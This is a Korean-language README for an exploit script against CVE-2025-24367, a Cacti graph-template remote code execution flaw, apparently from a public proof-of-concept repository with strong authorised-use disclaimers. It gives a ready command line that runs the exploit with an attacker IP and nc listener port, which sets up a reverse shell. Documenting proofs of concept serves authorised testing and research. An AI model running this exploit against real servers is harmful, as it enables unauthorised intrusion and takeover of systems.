CVE-2025-24367 - Cacti Authenticated Graph Template RCE

사용법 및 안전

중요 — 먼저 읽으세요:
이 리포지토리와 exploit.py는 교육 및 연구 목적으로만 제공됩니다. 명시적이고 서면으로 승인된 시스템, 네트워크 또는 서비스가 아니라면 이 코드를 사용하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다. 이 코드를 사용함으로써 귀하는 관련 법률 및 기관 정책을 준수하는 데 동의하는 것입니다.

요구 사항

• Python 3.8+

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

사용법

python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

예제

스크립트를 실행하기 전에 nc 리스너가 실행 중인지 확인하세요. 디버깅이 아니라면 프록시 없이 스크립트를 실행하세요:

python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

매우 중요한 경고

• 프로덕션 시스템 또는 소유하지 않거나 명시적 허가 없이 테스트하는 시스템에서 실행하지 마십시오.
• 보안 테스트를 수행하기 전에 항상 서면 승인을 받으십시오.
• 실험을 위해 격리된 랩 환경(예: VM, 컨테이너 또는 전용 테스트 네트워크)을 사용하십시오.
• 귀하의 조직에는 보고 및 공개 정책이 있을 수 있습니다 — 이를 따르십시오.
• 저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.

최종 알림: 이 스크립트와 README는 교육용으로만 사용됩니다. 이러한 도구를 불법적으로 시스템에 접근하는 데 사용하지 마십시오.